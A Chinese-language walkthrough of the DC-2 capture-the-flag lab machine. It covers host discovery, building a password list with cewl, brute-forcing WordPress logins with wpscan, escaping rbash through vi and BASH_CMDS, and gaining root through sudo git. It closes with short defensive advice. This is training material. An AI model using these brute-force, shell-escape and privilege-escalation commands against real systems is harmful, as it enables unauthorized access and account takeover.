vulhub靶场 DC-2 解析及完整复现
字数 704 2025-08-18 11:36:53
DC-2 靶场完整解析与复现教学文档
环境准备
网络配置
- 攻击机: Kali Linux,NAT模式
- 靶机: DC-2,NAT模式
- 网段: 192.168.200.0/24
- 要求: 确保攻击机和靶机在同一网段
必要工具
- nmap/arp-scan - 主机发现
- cewl - 网站字典生成
- dirb/dirsearch - 目录扫描
- wpscan - WordPress漏洞扫描
- git - 提权工具
信息收集阶段
1. 主机发现
nmap -sP 192.168.200.0/24
# 或
arp-scan -l
2. 解决重定向问题
编辑本地hosts文件添加DNS解析:
vim /etc/hosts
# 添加以下内容
192.168.200.x dc-2
初始访问
1. 使用cewl生成密码字典
cewl http://dc-2 -w passwd.txt -d 3 -m 5
# 参数说明:
# -w 输出文件
# -d 爬取深度(默认2)
# -m 最小单词长度(默认3)
2. 目录扫描
dirb http://dc-2
# 发现WordPress后台及其他目录
3. WordPress用户枚举
wpscan --url http://dc-2/ -e u
# 保存用户名为user.txt
4. 密码爆破
wpscan --url http://dc-2/ -U user.txt -P passwd.txt
# 成功爆破出jerry和tom的凭证
权限提升路径
1. 通过WordPress后台获取flag
- 使用tom/jerry凭证登录后台
- 发现flag1和flag2提示:
If you can't exploit WordPress and take a shortcut, there is another way. Hope you found another entry point.
2. 发现SSH服务(端口7744)
ssh tom@dc-2 -p 7744
# 使用爆破得到的密码登录
3. 受限环境(rbash)突破
compgen -c # 查看可用命令
vi # 发现vi可用
# 在vi中提权:
:set shell=/bin/sh
:shell
# 或者通过环境变量绕过:
export -p # 查看环境变量
BASH_CMDS[a]=/bin/sh;a
/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
4. 发现flag3
poor old Tom is always running after Jerry.
Perhaps he should su for all the stress he causes.
5. 切换用户
su jerry
# 查看jerry目录下的flag4.txt:
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!)
No hints here - you're on your own now.
Go on - git outta here!!!!
6. Git提权获取root权限
sudo -l # 查看可用sudo命令
# 发现git可以以root权限运行
# 方法1:
sudo git help config
# 在末行命令模式输入:
!/bin/bash
# 方法2:
sudo git -p help
!/bin/bash
7. 获取最终flag
cd /root
cat final-flag.txt
技术总结
- DNS重定向处理 - 通过修改hosts文件解决域名解析问题
- 密码字典生成 - 使用cewl从网站内容生成针对性字典
- WordPress枚举与爆破 - wpscan工具的高效利用
- 受限shell突破 - 通过环境变量和可用命令绕过rbash限制
- 特权提升技术 - 利用sudo git的权限实现root提权
参考资源
防御建议
- 限制WordPress用户枚举
- 使用强密码策略
- 限制sudo权限
- 对敏感命令进行监控
- 及时更新WordPress及插件